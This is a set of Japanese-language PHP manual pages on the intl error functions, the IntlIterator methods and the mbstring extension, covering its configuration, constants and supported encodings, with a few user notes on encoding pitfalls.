説明

public IntlIterator::next ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the first element

  • ≪ IntlIterator::next
  • IntlIterator::valid ≫
  • PHP Manual
  • IntlIterator
  • Rewind the iterator to the first element

IntlIterator::rewind

(PHP 5 >= 5.5.0, PHP 7)

IntlIterator::rewind — Rewind the iterator to the first element

説明

public IntlIterator::rewind ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if current position is valid

  • ≪ IntlIterator::rewind
  • 国際化 関数 ≫
  • PHP Manual
  • IntlIterator
  • Check if current position is valid

IntlIterator::valid

(PHP 5 >= 5.5.0, PHP 7)

IntlIterator::valid — Check if current position is valid

説明

public IntlIterator::valid ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


国際化 関数

目次

  • intl_error_name — 指定したエラーコードに対応する名前を取得する
  • intl_get_error_code — 直近のエラーコードを取得する
  • intl_get_error_message — 直近のエラーの説明を取得する
  • intl_is_failure — 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


指定したエラーコードに対応する名前を取得する

  • ≪ 国際化 関数
  • intl_get_error_code ≫
  • PHP Manual
  • 国際化 関数
  • 指定したエラーコードに対応する名前を取得する

intl_error_name

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

intl_error_name — 指定したエラーコードに対応する名前を取得する

説明

intl_error_name ( int $errorCode ) : string

ICU のエラーコード名を返します。

パラメータ

errorCode

ICU のエラーコード。

返り値

エラーコード定数と同じ名前の文字列を返します。

例

例1 intl_error_name() の例

<?php
$coll     = collator_create( 'en_RU' );
$err_code = collator_get_error_code( $coll );

printf( "Symbolic name for %d is %s\n.", $err_code, intl_error_name( $err_code ) );
?>

上の例の出力は、 たとえば以下のようになります。

Symbolic name for -128 is U_USING_FALLBACK_WARNING.

参考

  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_get_error_message() - 直近のエラーの説明を取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーコードを取得する

  • ≪ intl_error_name
  • intl_get_error_message ≫
  • PHP Manual
  • 国際化 関数
  • 直近のエラーコードを取得する

intl_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

intl_get_error_code — 直近のエラーコードを取得する

説明

intl_get_error_code ( ) : int

静的メソッドを実行した場合など、 エラーコードを取得するオブジェクトが存在しない場合のエラー処理に便利です。

返り値

直近の API 関数のコールが返すエラーコードを返します。

例

例1 intl_get_error_code() の例

<?php
$coll = collator_create( '<bad_param>' );
if( !$coll ) {
    handle_error( intl_get_error_code() );
}
?>

参考

  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる
  • intl_error_name() - 指定したエラーコードに対応する名前を取得する
  • intl_get_error_message() - 直近のエラーの説明を取得する
  • collator_get_error_code() - collator の直近のエラーコードを取得する
  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーの説明を取得する

  • ≪ intl_get_error_code
  • intl_is_failure ≫
  • PHP Manual
  • 国際化 関数
  • 直近のエラーの説明を取得する

intl_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

intl_get_error_message — 直近のエラーの説明を取得する

説明

intl_get_error_message ( ) : string

直近の国際化関数のコールによるエラーメッセージを取得します。

返り値

直近の API 関数のコールで発生したエラーの説明を返します。

例

例1 intl_get_error_message() の例

<?php
if( Collator::getAvailableLocales() === false ) {
    show_error( intl_get_error_message() );
}
?>

参考

  • intl_error_name() - 指定したエラーコードに対応する名前を取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる
  • collator_get_error_message() - collator の直近のエラーコードのテキストを取得する
  • numfmt_get_error_message() - フォーマッタの直近のエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したエラーコードが失敗を表すかどうかを調べる

  • ≪ intl_get_error_message
  • マルチバイト文字列 ≫
  • PHP Manual
  • 国際化 関数
  • 指定したエラーコードが失敗を表すかどうかを調べる

intl_is_failure

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

intl_is_failure — 指定したエラーコードが失敗を表すかどうかを調べる

説明

intl_is_failure ( int $errorCode ) : bool

パラメータ

errorCode

intl_get_error_code() や collator_get_error_code() が返す値。

返り値

そのコードが何らかの失敗を意味する場合に true、 成功あるいは警告を意味する場合に false を返します。

例

例1 intl_is_failure() example

<?php
function check( $err_code )
{
    var_export( intl_is_failure( $err_code ) );
    echo "\n";
}

check( U_ZERO_ERROR );
check( U_USING_FALLBACK_WARNING );
check( U_ILLEGAL_ARGUMENT_ERROR );
?>

上の例の出力は、 たとえば以下のようになります。

false
false
true

参考

  • intl_get_error_code() - 直近のエラーコードを取得する
  • collator_get_error_code() - collator の直近のエラーコードを取得する
  • Collator-getErrorCode() - collator の直近のエラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


マルチバイト文字列

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • サポートされるエンコーディングの概要
  • 日本語のマルチバイト文字に関する基本事項
  • HTTP 入出力
  • サポートされる文字エンコーディング
  • 関数のオーバーロード機能
  • PHP の文字エンコーディングに関する要件
  • マルチバイト文字列 関数
    • mb_check_encoding — 文字列が、指定したエンコーディングで有効なものかどうかを調べる
    • mb_chr — 特定の文字を取得する
    • mb_convert_case — 文字列に対してケースフォールディングを行う
    • mb_convert_encoding — 文字エンコーディングを変換する
    • mb_convert_kana — カナを("全角かな"、"半角かな"等に)変換する
    • mb_convert_variables — 変数の文字コードを変換する
    • mb_decode_mimeheader — MIME ヘッダフィールドの文字列をデコードする
    • mb_decode_numericentity — HTML 数値エンティティを文字にデコードする
    • mb_detect_encoding — 文字エンコーディングを検出する
    • mb_detect_order — 文字エンコーディング検出順序を設定あるいは取得する
    • mb_encode_mimeheader — MIMEヘッダの文字列をエンコードする
    • mb_encode_numericentity — 文字を HTML 数値エンティティにエンコードする
    • mb_encoding_aliases — 既知のエンコーディング・タイプのエイリアスを取得
    • mb_ereg_match — マルチバイト文字列が正規表現に一致するか調べる
    • mb_ereg_replace_callback — マルチバイト文字列にコールバック関数を用いた正規表現による置換を行う
    • mb_ereg_replace — マルチバイト文字列に正規表現による置換を行う
    • mb_ereg_search_getpos — 次の正規表現検索を開始する位置を取得する
    • mb_ereg_search_getregs — マルチバイト文字列が正規表現に一致する部分があるか調べる
    • mb_ereg_search_init — マルチバイト正規表現検索用の文字列と正規表現を設定する
    • mb_ereg_search_pos — 指定したマルチバイト文字列が正規表現に一致する部分の位置と長さを返す
    • mb_ereg_search_regs — 指定したマルチバイト文字列が正規表現に一致する部分を取得する
    • mb_ereg_search_setpos — 次の正規表現検索を開始する位置を設定する
    • mb_ereg_search — 指定したマルチバイト文字列が正規表現に一致するか調べる
    • mb_ereg — マルチバイト対応の正規表現マッチ
    • mb_eregi_replace — マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う
    • mb_eregi — マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ
    • mb_get_info — mbstring の内部設定値を取得する
    • mb_http_input — HTTP 入力文字エンコーディングを検出する
    • mb_http_output — HTTP 出力文字エンコーディングを設定あるいは取得する
    • mb_internal_encoding — 内部文字エンコーディングを設定あるいは取得する
    • mb_language — 現在の言語を設定あるいは取得する
    • mb_list_encodings — サポートするすべてのエンコーディングの配列を返す
    • mb_ord — 文字のコードポイントを取得する
    • mb_output_handler — 出力バッファ内で文字エンコーディングを変換するコールバック関数
    • mb_parse_str — GET/POST/COOKIE データをパースし、グローバル変数を設定する
    • mb_preferred_mime_name — MIME 文字設定を文字列で得る
    • mb_regex_encoding — 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
    • mb_regex_set_options — マルチバイト正規表現関数のデフォルトオプションを取得または設定する
    • mb_scrub — 文字列に含まれる不正なバイト列を代替文字に置き換える
    • mb_send_mail — エンコード変換を行ってメールを送信する
    • mb_split — マルチバイト文字列を正規表現により分割する
    • mb_str_split — マルチバイト文字列を受取り、文字の配列を返す
    • mb_strcut — 文字列の一部を得る
    • mb_strimwidth — 指定した幅で文字列を丸める
    • mb_stripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す
    • mb_stristr — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す
    • mb_strlen — 文字列の長さを得る
    • mb_strpos — 文字列の中に指定した文字列が最初に現れる位置を見つける
    • mb_strrchr — 別の文字列の中で、ある文字が最後に現れる場所を見つける
    • mb_strrichr — 大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す
    • mb_strripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最後に現れる位置を探す
    • mb_strrpos — 文字列の中に指定した文字列が最後に現れる位置を見つける
    • mb_strstr — 文字列の中で、指定した文字列が最初に現れる位置を見つける
    • mb_strtolower — 文字列を小文字にする
    • mb_strtoupper — 文字列を大文字にする
    • mb_strwidth — 文字列の幅を返す
    • mb_substitute_character — 置換文字を設定あるいは取得する
    • mb_substr_count — 部分文字列の出現回数を数える
    • mb_substr — 文字列の一部を得る

User Contributed Notes

There are no user contributed notes for this page.


はじめに

全ての文字をシングルバイトで一対一表現可能な言語は数多くありますが、 文字表現に単一バイトによる表現範囲を越えるほど多くの文字を必要とする言語も多くあります (1 バイトは 8 ビットから構成されます。各ビットには、1 あるいは 0 の 2 種類の値しか保持できません。そのため、単一のバイトで表すことのできる値は 256 (2 の 8 乗) 種類までとなります)。 マルチバイト文字のエンコーディング法は、 256 を越える文字を通常のビット単位の符号化システムで表現するために開発されました。

マルチバイトエンコーディングで符号化された文字列を (trim, split, splice などで) 処理する際、こうしたエンコーディングでは二つ以上の連続するバイトが 一つの文字を表す可能性があるため、特別な関数を使用する必要があります。 マルチバイトに対応しない文字列関数を文字列に適用した場合、 マルチバイト文字の先頭バイトまたは終了バイトを検出できずに文字列を壊し、 多くの場合には元の意味を失わせてしまう可能性があります。

mbstring はマルチバイト対応の文字列関数を提供し、 PHP でマルチバイトエンコーディングを処理することを容易にします。 それに加えて、mbstring は、 可能な範囲での文字エンコーディングの変換を処理します。 mbstring は UTF-8 や UCS-2 のような Unicode に基づくエンコーディングや多くのシングルバイトエンコーディングを処理するのに便利です (対応するエンコーディングを以下に示します)。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

mbstring は拡張モジュールです。つまり、デフォルトでは 有効にならないということです。 configure スクリプトでモジュールを有効にする必要が あります。詳細は、インストールの 節を参照してください。

mbstring モジュールに関係する設定オプションは 以下のとおりです。

  • --enable-mbstring: mbstring 関数を有効にします。このオプションは、 mbstring 関数を利用するために必要です。

    mbstring 拡張モジュールを使用するためには、 libmbflライブラリが必要です。 libmbflは、mbstring 拡張モジュールにバンドルされています。PHP 7.3.0 より前では、 libmbfl がシステムにすでにインストール済みの場合、 --with-libmbfl[=DIR] を指定して インストール済みのライブラリを使用します。

  • --disable-mbregex : マルチバイト対応の正規表現関数を無効にします。

    Oniguruma は、 マルチバイト文字をサポートする正規表現関数のために必要です。 PHP 7.4.0 以降では、libonig ライブラリを検知するのに pkg-config を使うようになりました。 PHP 7.4.0 より前のバージョンでは、 Oniguruma は mbstring にバンドルされていましたが、 既に libonig がシステムにインストール済みの場合、 --with-onig[=DIR] を指定して インストール済みのライブラリを使用することができました。

    --disable-mbregex-backtrack を指定して、マルチバイト正規表現バックトラックチェックを無効にすることができます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

mbstring 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mbstring.language | "neutral" | PHP_INI_ALL | 5.2.6以前では PHP_INI_PERDIR でした。
mbstring.detect_order | NULL | PHP_INI_ALL |
mbstring.http_input | "pass" | PHP_INI_ALL | PHP 4.0.6 から利用可能です。PHP 5.6.0 で非推奨になりました。
mbstring.http_output | "pass" | PHP_INI_ALL | PHP 5.6.0 で非推奨になりました。
mbstring.internal_encoding | NULL | PHP_INI_ALL | PHP 5.6.0 で非推奨になりました。
mbstring.script_encoding | NULL | PHP_INI_ALL | PHP 5.4.0 で削除されました。代わりに zend.script_encoding を使いましょう。
mbstring.substitute_character | NULL | PHP_INI_ALL |
mbstring.func_overload | "0" | PHP_INI_SYSTEM | PHP 5.2.6 以前では PHP_INI_PERDIR。 PHP 7.2.0 で非推奨になり、PHP 8.0.0 で削除されました。
mbstring.encoding_translation | "0" | PHP_INI_PERDIR |
mbstring.http_output_conv_mimetypes | "^(text/|application/xhtml\+xml)" | PHP_INI_ALL | PHP 5.3.0 以降で利用可能です。
mbstring.strict_detection | "0" | PHP_INI_ALL | PHP 5.1.2 以降で利用可能です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mbstring.language string

mbstring で使用される言語設定(NLS)のデフォルト値。 この設定は mbstring.internal_encoding を定義するため、 php.ini の中で mbstring.internal_encoding は、 mbstring.language の後に置く必要があることに注意してください。

mbstring.encoding_translation bool

入力される HTTP クエリに関して、 文字エンコーディング検出および内部文字エンコーディングへの変換を行う 透過的な文字エンコーディングフィルタを有効にします。

mbstring.internal_encoding string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

内部文字エンコーディングのデフォルト値を定義します。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに default_charset を設定すべきです。

mbstring.http_input string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

HTTP 入力文字エンコーディングのデフォルト値を定義します。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに default_charset を設定すべきです。

mbstring.http_output string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

HTTP 出力文字エンコーディングのデフォルト値を定義します (出力は、内部エンコーディングから HTTP 出力エンコーディングに変換された上で出力されます)。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに default_charset を設定すべきです。

mbstring.detect_order string

文字コード検出のデフォルト値を定義します。 mb_detect_order()も参照ください。

mbstring.substitute_character string

無効な文字を代替する文字を定義します。 サポートされる値は、mb_substitute_character() を参照してください。

mbstring.func_overload string
警告

この機能は PHP 7.2.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

シングルバイト対応の関数を mbstring 関数の対応する関数でオーバーロード (置換)します。詳細は、 関数のオーバーロード を参照してください。

この設定は、php.ini でしか変更できません。

mbstring.http_output_conv_mimetypes string

mbstring.strict_detection bool

厳密なエンコーディング検出を行います。

» HTML 4.01 の仕様 によると、Web ブラウザは、 フォームのデータを投稿する際にページで使用される文字エンコーディングと 異なるエンコーディングを使用することができます。 ブラウザで使用される文字エンコーディングを検出するには、 mb_http_input() を参照ください。

一般的に使用されるブラウザでは、 指定したHTML文書の文字エンコーディングをかなり正確に推定することができますが、 header() または設定パラメータ default_charset により、 Content-Type HTTP ヘッダで charset を設定する方がより良いでしょう。

例1 php.ini 設定の例

; デフォルトの言語を設定
mbstring.language        = neutral; デフォルト言語を中立(UTF-8)に設定 (デフォルト)
mbstring.language        = English; デフォルト言語を英語に設定
mbstring.language        = Japanese; デフォルト言語を日本語に設定

;; デフォルトの内部エンコーディングを設定
;; 注意: PHPで動作する文字エンコーディングを使用すること
mbstring.internal_encoding    = UTF-8  ; 内部エンコーディングを UTF-8 に設定

;; HTTP入力エンコーディング変換を有効にする
mbstring.encoding_translation = On

;; デフォルトのHTTP入力文字エンコーディングを設定
;; 注意: スクリプトではhttp_inputの設定は変更できません。
mbstring.http_input           = pass    ; 変換しない。
mbstring.http_input           = auto    ; HTTP 入力を auto に設定
                                ; "auto" は mbstring.language の設定を使って展開されます
mbstring.http_input           = SJIS    ; HTTP入力をSJISに設定
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; 順番を指定

;; デフォルトのHTTP出力文字エンコーディングを設定
mbstring.http_output          = pass    ; 変換しない
mbstring.http_output          = UTF-8   ; HTTP出力エンコーディングを
                                        ;  UTF-8 に指定

;; デフォルトの文字エンコーディング検出順序を設定
mbstring.detect_order         = auto    ; デフォルトの順番を auto に設定
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; 順番を指定

;; 代替文字のデフォルト値を設定
mbstring.substitute_character = 12307   ; Unicode 値を指定
mbstring.substitute_character = none    ; 文字を出力しない
mbstring.substitute_character = long    ; long の例: U+3000,JIS+7E7E

例2 EUC-JP ユーザー用の php.ini の設定

;; 出力バッファリングを無効にする
output_buffering      = Off

;; HTTP charsetヘッダを設定
default_charset       = EUC-JP

;; デフォルトの言語を日本語にする
mbstring.language = Japanese

;; HTTP 入力変換を有効にする
mbstring.encoding_translation = On

;; HTTP 入力エンコーディング変換を auto に設定
mbstring.http_input   = auto

;; HTTP 出力を EUC-JP に設定
mbstring.http_output  = EUC-JP

;; 内部エンコーディングを EUC-JP に設定
mbstring.internal_encoding = EUC-JP

;; 無効な文字を出力しない
mbstring.substitute_character = none

例3 SJIS ユーザー用の php.iniの 設定

;; 出力のバッファリングを有効に
output_buffering     = On

;; 出力の変換を有効にするために mb_output_handler を設定
output_handler       = mb_output_handler

;; HTTPヘッダ charset を設定
default_charset      = Shift_JIS

;; デフォルトの言語を日本語に設定
mbstring.language = Japanese

;; HTTP 入力変換を有効にする
mbstring.encoding_translation = On

;; HTTP 入力エンコーディング変換を auto に設定
mbstring.http_input  = auto

;; SJIS に変換
mbstring.http_output = SJIS

;; 内部エンコーディングを EUC-JP に設定
mbstring.internal_encoding = EUC-JP

;; 無効な文字を出力しない
mbstring.substitute_character = none

User Contributed Notes

ASchmidt at Anamera dot net 30-Jul-2018 12:17
The documentation is vague, on WHAT precisely the valid "NLS" language strings are that are valid for "mbstring.language".

According to http://php.net/manual/en/function.mb-language.php the values are "Japanese", "ja", "English", "en", or "uni" for UTF-8.
On the other hand, the sample on this current page omits "uni" but introduces "Neutral" as an undocumented option - which is also the default value:

<?php
var_dump( mb_language() );   // "neutral" (default if not set)
var_dump( mb_language( 'uni' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "uni"
var_dump( mb_language( 'neutral' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "neutral"
?>
Hayley Watson 24-Jun-2018 02:28
String literals in the PHP script are encoded with the same encoding that the PHP file was saved with. This is not affected by default_charset or other .ini settings.

Scenario: The default_charset is KOI8-R, and there is a text file "input.txt" containing the string "Это текст для поиска." in KOI8-R encoding.

A PHP script is written:
<?php

// mb_internal_encoding('KOI8-R');

$string  = 'текст.';

$data = file_get_contents('input.txt');

echo mb_strpos($data, $string);

?>
But unfortunately it was saved as UTF-8.

It doesn't work; mb_strpos() returns false because it can't find the UTF-8-encoded "текст" inside the KOI8-R-encoded "Это текст для поиска.".

Adjusting the default_charset had no effect. Not even fiddling with mb_internal_encoding could fix it, simply because the strings involved had *different* encodings and without actually changing one of them they just weren't going to match.

Either re-save the source file as KOI8-R to match the data file, or re-save the data file as UTF-8 to match the source code. Only then will the script properly echo '4'.
PRETTYGIRL NOT COMe 17-Aug-2013 11:51
Note that you should better at least set "mbstring.internal_encoding".

Just check as below:

<?php

echo mb_internal_encoding() . '<br />';
echo mb_regex_encoding();

?>

You might be surprised at unexpected values.

eg.

mbstring.language Japanese
;mbstring.internal_encoding (commented out showing "no value" in phpinfo() )

These two lines in "php.ini" are the same values as

mb_internal_encoding("EUC-JP");
mb_regex_encoding("EUC-JP");

in Win / Linux servers.

"mbstring.internal_encoding" defines the default encoding for "mb_" Functions such as "mb_strlen()".

It also defines the same for "mb_ereg_" Functions such as "mb_ereg()" when you don't set "mb_regex_encoding".


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MB_OVERLOAD_MAIL (int)
PHP 8.0.0 で削除されました。
MB_OVERLOAD_STRING (int)
PHP 8.0.0 で削除されました。
MB_OVERLOAD_REGEX (int)
PHP 8.0.0 で削除されました。
MB_CASE_UPPER (int)
完全な大文字のケースフォールディングを実行します。 この操作で、文字列の長さが変わる可能性があります。 この定数は mb_strtoupper() で使うモードです。
MB_CASE_LOWER (int)
完全な小文字へのケースフォールディングを実行します。 この操作で、文字列の長さが変わる可能性があります。 この定数は mb_strtolower() で使うモードです。
MB_CASE_TITLE (int)
Unicodeプロパティ由来の大文字小文字の区別の有無に基づいて、Title-case 変換を実行します。 これは特に、クォートやアポストロフィーのハンドリングも改善します。 この操作で、文字列の長さが変わる可能性があります。
MB_CASE_FOLD (int)
文字列に存在する大文字小文字の区別を取り除くことで、完全なケースフォールディング変換を実行します。 これは大文字小文字を区別しないマッチングで使います。 この操作で、文字列の長さが変わる可能性があります。 PHP 7.3 から利用可能
MB_CASE_LOWER_SIMPLE (int)
単純な小文字へのケースフォールディング変換を実行します。 この操作で、文字列の長さは変わりません。 PHP 7.3 から利用可能
MB_CASE_UPPER_SIMPLE (int)
単純な大文字へのケースフォールディング変換を実行します。 この操作で、文字列の長さは変わりません。 PHP 7.3 から利用可能
MB_CASE_TITLE_SIMPLE (int)
単純な Title-case 変換を実行します。 この操作で、文字列の長さは変わりません。 PHP 7.3 から利用可能
MB_CASE_FOLD_SIMPLE (int)
文字列に存在する大文字小文字の区別を取り除くことで、単純なケースフォールディング変換を実行します。 これは大文字小文字を区別しない操作で使います。 この操作で文字列の長さは変わりません。 mbstring 拡張機能で内部的に大文字小文字を区別しない操作で使われていました。 PHP 7.3 から利用可能。
MB_ONIGURUMA_VERSION (string)
Oniguruma のバージョン。 例: 6.9.4. PHP 7.4 から利用可能。

User Contributed Notes

There are no user contributed notes for this page.


サポートされるエンコーディングの概要

サポートされるエンコーディングの概要
IANA 文字セット登録名 | 依存する文字集合 | 説明 | 注記
ISO-10646-UCS-4 | ISO 10646 | 31 ビットコード空間を使用するユニバーサル文字セットで、 ISO/IEC 10646 によって UCS-4 として標準化されています。 最新版の Unicode コードマップと連動しています。 | この名前をエンコーディング変換の際に使用すると、 先頭の BOM (バイトオーダーマーク) にもとづいてそれ以降のバイト列のエンディアンを識別します。
ISO-10646-UCS-4 | UCS-4 | 上を参照ください。 | UCS-4 とは対照的に、 文字列が常にビッグエンディアン形式とみなされます。
ISO-10646-UCS-4 | UCS-4 | 上を参照ください。 | UCS-4 とは対照的に、 文字列が常にリトルエンディアン形式とみなされます。
ISO-10646-UCS-2 | UCS-2 | 16 ビットコード空間を使用するユニバーサル文字セットで、 ISO/IEC 10646 によって UCS-2 として標準化されています。 最新版の Unicode コードマップと連動しています。 | この名前をエンコーディング変換の際に使用すると、 先頭の BOM (バイトオーダーマーク) にもとづいてそれ以降のバイト列のエンディアンを識別します。
ISO-10646-UCS-2 | UCS-2 | 上を参照ください。 | UCS-2 とは対照的に、 文字列が常にビッグエンディアン形式とみなされます。
ISO-10646-UCS-2 | UCS-2 | 上を参照ください。 | UCS-2 とは対照的に、 文字列が常にリトルエンディアン形式とみなされます。
UTF-32 | Unicode | 32 ビット幅の Unicode 変換フォーマットで、 そのエンコーディング空間は Unicode のコードセット標準を参照します。 このエンコーディング体系は UCS-4 とは異なります。 なぜなら、Unicode のコード空間は 21 ビットまでに制限されるからです。 | この名前をエンコーディング変換の際に使用すると、 先頭の BOM (バイトオーダーマーク) にもとづいてそれ以降のバイト列のエンディアンを識別します。
UTF-32BE | Unicode | 上を参照ください。 | UTF-32 とは対照的に、 文字列が常にビッグエンディアン形式とみなされます。
UTF-32LE | Unicode | 上を参照ください。 | UTF-32 とは対照的に、 文字列が常にリトルエンディアン形式とみなされます。
UTF-16 | Unicode | 16 ビット幅の Unicode 変換フォーマットです。 注意すべき点は、UTF-16 の仕様が UCS-2 とは異なることです。 なぜなら、Unicode 2.0 より導入されたサロゲート機能により、 UTF-16 は現在 21 ビットコード空間を参照しているからです。 | この名前をエンコーディング変換の際に使用すると、 先頭の BOM (バイトオーダーマーク) にもとづいてそれ以降のバイト列のエンディアンを識別します。
UTF-16BE | Unicode | 上を参照ください。 | UTF-16 とは対照的に、 文字列が常にビッグエンディアン形式とみなされます。
UTF-16LE | Unicode | 上を参照ください。 | UTF-16 とは対照的に、 文字列が常にリトルエンディアン形式とみなされます。
UTF-8 | Unicode / UCS | 8 ビット幅の Unicode 変換フォーマットです。 | none
UTF-7 | Unicode | メールで安全に使用できる Unicode 変換フォーマットです。 » RFC2152 で定義されています。 | none
(none) | Unicode | UTF-7 の変化形です。 » IMAP プロトコル での使用に特化しています。 | none
US-ASCII (推奨される MIME 名) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII | ASCII / ISO 646 | American Standard Code for Information Interchange は、一般的に使用される 7 ビットエンコーディングです。 国際標準規格 ISO 646 として標準化されています。 | (none)
EUC-JP (推奨される MIME 名) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese | US-ASCII / JIS X0201:1997 (半角カナの部分) / JIS X0208:1990 / JIS X0212:1990 を合成したもの | この名前が Extended UNIX Code Packed Format for Japanese を短縮したものであることからわかるように、 一般的に UNIX 系のプラットフォームで用いられます。 もととなるエンコーディング方式である Extended UNIX Code は、ISO 2022 にもとづいて設計されています。 | EUC-JP が参照している文字セットは IBM932 / CP932 のものとは異なります。 これらはそれぞれ OS/2R および MicrosoftR WindowsR で用いられています。これらのプラットフォームとの間で情報をやり取りする場合は、 代わりに EUCJP-WIN を使用してください。
Shift_JIS (推奨される MIME 名) / MS_Kanji / csShift_JIS | JIS X0201:1997 / JIS X0208:1997 を合成したもの | Shift_JIS が開発されたのは 80 年代初期です。 当時は日本語ワープロが普及していたため、 旧来のエンコーディング方式である JIS X 0201:1976 との互換性を保つために開発されました。 IANA の定義によると、Shift_JIS のコードセットは IBM932 / CP932 とは微妙に異なります。 しかし、"SJIS" / "Shift_JIS" という名前は、 これらのコードセットを表すものとしてしばしば誤用されています。 | CP932 コードマップを使用するには、代わりに SJIS-WIN を使用してください。
(none) | JIS X0201:1997 / JIS X0208:1997 / IBM 拡張文字 / NEC 拡張文字 を合成したもの | この "エンコーディング" は EUC-JP と同じエンコーディング方式を使用しますが、 もととなる文字セットが異なります。 つまり、EUC-JP とは異なる文字に対応するコードポイントがあるということです。 | none
Windows-31J / csWindows31J | JIS X0201:1997 / JIS X0208:1997 / IBM 拡張文字 / NEC 拡張文字 を合成したもの | この "エンコーディング" は Shift_JIS と同じエンコーディング方式を使用しますが、 もととなる文字セットが異なります。 つまり、Shift_JIS とは異なる文字に対応するコードポイントがあるということです。 | (none)
ISO-2022-JP (推奨される MIME 名) / csISO2022JP | US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983 | » RFC1468 | (none)
JIS |  |  |
ISO-8859-1 |  |  |
ISO-8859-2 |  |  |
ISO-8859-3 |  |  |
ISO-8859-4 |  |  |
ISO-8859-5 |  |  |
ISO-8859-6 |  |  |
ISO-8859-7 |  |  |
ISO-8859-8 |  |  |
ISO-8859-9 |  |  |
ISO-8859-10 |  |  |
ISO-8859-13 |  |  |
ISO-8859-14 |  |  |
ISO-8859-15 |  |  |
ISO-8859-16 |  |  |
byte2be |  |  |
byte2le |  |  |
byte4be |  |  |
byte4le |  |  |
BASE64 |  |  |
HTML-ENTITIES |  |  |
7bit |  |  |
8bit |  |  |
EUC-CN |  |  |
CP936 |  |  |
HZ |  |  |
EUC-TW |  |  |
CP950 |  |  |
BIG-5 |  |  |
EUC-KR |  |  |
UHC (CP949) |  |  |
ISO-2022-KR |  |  |
Windows-1251 (CP1251) |  |  |
Windows-1252 (CP1252) |  |  |
CP866 (IBM866) |  |  |
KOI8-R |  |  |
KOI8-U |  |  |

User Contributed Notes

There are no user contributed notes for this page.


日本語のマルチバイト文字に関する基本事項

日本語の文字は、マルチバイトエンコーディングを使用しないと表せません。 また、プラットフォームや使用目的によって複数の標準エンコーディングが 使い分けられています。さらに悪いことに、 これらの複数の標準エンコーディングはそれぞれ微妙に異なります。 日本語環境で使用しやすいウェブアプリケーションを作成するには、 これらの複雑な問題を考慮した上で 適切な文字エンコーディングを使用しなければなりません。

  • 1 文字は最大 6 バイトになる
  • ほとんどの日本語マルチバイト文字は、シングルバイト文字の 2 倍の幅となります。これらの文字のことを、日本語では "全角 (zen-kaku)" と呼びます。これは、 "full width" という意味です。一方、幅の狭い文字のことは "半角 (han-kaku)" と呼びます。これは、 "half width" という意味です。しかしながら、 文字の見た目は、それを表示する際に使用するタイプフェイスに依存します。
  • いくつかの文字エンコーディングでは、ISO-2022 で定義されたシフト (エスケープ) シーケンスを使用して、特定のコード範囲 (00h から 7fh まで) のコードマップを切り替えます。
  • SMTP/NNTPでは、ISO-2022-JP を使用する必要があり、ヘッダとエンティティは 各 RFC の規定に基づき再度符号化される必要があります。 これらは必須のものではありませんが、多くの一般的なユーザーエージェントは、 他の符号化手法を認識できないため、行っておく方が良いでしょう。
  • » i-mode または » EZweb のような携帯電話サービス用に作成された Web ページは、 Shift_JIS を使用することになります。
  • PHP 5.4.0 以降では、 » i-mode や » EZweb などの携帯電話サービスで使われる絵文字に対応します。

User Contributed Notes

